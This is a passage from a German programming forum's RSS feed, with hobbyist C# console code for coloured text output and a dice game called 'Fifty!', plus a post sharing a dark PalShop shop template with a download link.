/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">currColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">getColor</span><span style="color: #007700">(</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #DD0000">'#'</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tempString&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tempString&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">tempString&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">currColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">tempString</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">ConsoleColor&nbsp;getColor</span><span style="color: #007700">(</span><span style="color: #0000BB">char&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'A'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Gray</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'B'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkGray</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'C'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Cyan</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'D'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkCyan</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'E'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkGreen</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'F'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Green</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'G'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Yellow</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'H'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkYellow</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'I'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Magenta</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'J'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkMagenta</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'K'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Black</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'L'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Blue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'M'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkBlue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'N'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'O'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkRed</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'P'</span><span style="color: #007700">:&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><b><br />
<br />
Aufrufbeispiel:</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"°A°Dies&nbsp;°B°ist&nbsp;°C°ein&nbsp;°D°bunter&nbsp;°E°Text.&nbsp;°F°h3h3j0!#°G°Nächste&nbsp;°H°Zeile&nbsp;°I°gehts&nbsp;°J°weiter.&nbsp;°L°j00&nbsp;°M°:)"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><img src="https://u-img.net/img/6731Au.png" border="0" alt="" /></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">showroom-102/c-console-bunt-schreiben-30106</guid>
		</item>
		<item>
			<title><![CDATA[[Palshop Design] PixelPal v2 Dark]]></title>
			<link>showroom-102/palshop-design-pixelpal-v2-dark-30552?goto=newpost</link>
			<pubDate>Tue, 30 Aug 2011 02:53:24 GMT</pubDate>
			<description>*Vorab gesagt: 
Ich hatte keine Lust es nochmal zu schreiben, möchte es euch dennoch nicht vorenthalten. 
Vorallem weil ich sehe das einige hier...</description>
			<content:encoded><![CDATA[<div><b>Vorab gesagt:<br />
Ich hatte keine Lust es nochmal zu schreiben, möchte es euch dennoch nicht vorenthalten.<br />
Vorallem weil ich sehe das einige hier schon mein erstes für ihren Shop nutzen.</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Hallo Community,<br />
<br />
Hier ein neues Template für euch. <br />
PixelPal v2 ist ein Professional Style welches in Schwarz gehalten ist.<br />
Zusätzlich gibt es in dieser Version eine InfoBox in der ihr weitere News eintragen könnt, unabhängig von den News und Contentseiten des Scripts.<br />
Natürlich könnt ihr den Bereich auch entfernen um den alten Look wieder zu bekommen.<br />
<br />
<br />
<b>Bilder:</b><br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7111&amp;d=1393739523" id="attachment7111" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7111&amp;d=1393739523&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	TwXM8jey.png&nbsp;
Hits:	414&nbsp;
Größe:	450,5 KB&nbsp;
ID:	7111" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7112&amp;d=1393739569" id="attachment7112" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7112&amp;d=1393739569&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	s13tqgh7.jpg&nbsp;
Hits:	304&nbsp;
Größe:	106,9 KB&nbsp;
ID:	7112" class="thumbnail" style="float:CONFIG" /></a><br />

</div>
</div>
</div><br />
<br />
Ob ihr ein Logo oder euren Shop Titel als Headerlogo nehmen wollt könnt ihr nach eigenem Geschmack anpassen. Dazu ist die <b>Header.tpl</b> auskommertiert und erklärt euch beide Varianten.<br />
<br />
<b>Zur Navi:</b><br />
Mir sah der Aufbau der Standart Navigation viel zu umständlich aus. Sprich für ein neuen Button extra eine neue Grafik zu entwerfen ist in meinen Augen Userunfreundlich. Meine Variante hohlt sich aus der Datenbank den Linktitel und gibt ihn in der Navi aus. Alle meine Templates werden so gestaltet, also merkt es euch schonmal vor und kommt mir nicht mit &quot; Die Navi ist leer&quot; sondern folg folgender<br />
<br />
<b>Anleitung:</b><br />
Geht in eure MySQL Datenbank Verwaltung.<br />
Entfernt bei jedem Link das Bild und gebt dem Link einen Titel. Fertig.<br />
<br />
<b>Ein Beispiel:</b><br />
<font color="#FF0000">Bild nicht mehr verfügbar</font><br />
<br />
<b>Download:</b><br />
<a href="http://uploaded.to/file/nj8yd9dg" target="_blank" rel="nofollow">pixelpal2_dark.zip (935,11 KB) - uploaded.to</a><br />
<br />
<b>Backlink zu sahnescript sowie pixel-elite beliben bestehen</b> sofern<br />
<b>Cobega</b> oder <b>soulreafer</b> für ihre jeweiligen Inhalte keine Verlinkung mehr erwünscht. Backlinkentfernung des TemplateAuthors kann gegen ein kleines Entgeld entfernt werden. Meltet euch dafür bei <b>soulreafer</b><br />
<br />
Und nun Viel Spass mit dem Shit ;)<br />
Achja... Support gibt es hier! Bitte nicht mit PNs vollstopfen<br />
Achja2... Das Template ist wie gewohnt mit meinem Sliding Login Panel kompatibel.<br />
<br />
Ihr braucht noch ein Passendes Logo für den Shop?<br />
Gerne nehme ich Aufträge entgegen. 10 Euro psc pro Logo.<br />
<br />
<b>Hier eine Referenz:</b><br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7113&amp;d=1393739608" border="0" alt="Name:  Nl21B7Qn.png
Hits: 423
Größe:  16,1 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
An Cobega:<br />
Wäre nice wenn du mal die Contentseiten überarbeitest das dort die Rahmen verschwinden und man das über die Templates selber regeln kann. 2 Rahmen sehen bischen unschön aus xDD. Also HopHop ;)
			
		<hr />
	</div>
</div></div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7111&amp;d=1393739523" 
rel="Lightbox_362022" id="attachment7111"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7111&amp;stc=1&amp;thumb=1&amp;d=1393739523" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	TwXM8jey.png&nbsp;
Hits:	-&nbsp;
Größe:	450,5 KB&nbsp;
ID:	7111"/></a>
&nbsp;

<a href="https://u-labs.de/forum/attachment.php?attachmentid=7112&amp;d=1393739569" 
rel="Lightbox_362022" id="attachment7112"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7112&amp;stc=1&amp;thumb=1&amp;d=1393739569" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	s13tqgh7.jpg&nbsp;
Hits:	-&nbsp;
Größe:	106,9 KB&nbsp;
ID:	7112"/></a>
&nbsp;

			</div>
		</fieldset>
	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7113&amp;stc=1&amp;d=1393739608" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>soulreafer</dc:creator>
			<guid isPermaLink="true">showroom-102/palshop-design-pixelpal-v2-dark-30552</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Fifty! Console]]></title>
			<link>showroom-102/c-fifty-console-31418?goto=newpost</link>
			<pubDate>Mon, 22 Aug 2011 22:43:04 GMT</pubDate>
			<description>Hi, 
 
aus Langeweile habe ich Fifty! geschrieben (Konsolenanwendung), vielleicht auch etwas unnötig (kompliziert) geschrieben, da Langeweile. 
 
Was...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
aus Langeweile habe ich Fifty! geschrieben (Konsolenanwendung), vielleicht auch etwas unnötig (kompliziert) geschrieben, da Langeweile.<br />
<br />
Was kann es?<br />
- Würfel rollen<br />
- benutzte Würfel werden entfernt<br />
- Würfel werden geprüft<br />
- 3x Eingabe (auch wenn's eine falsche Eingabe war), danach werden die Würfel wieder neu gesetzt<br />
<br />
Dice.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Fifty&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">struct&nbsp;Dice<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Count<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Num<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;&nbsp;}&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">args&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>FiftyDice.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Fifty<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">FiftyDice<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">userDices&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">set</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">readonly&nbsp;int</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">nums</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">counts</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">FiftyDice</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">nums&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">6</span><span style="color: 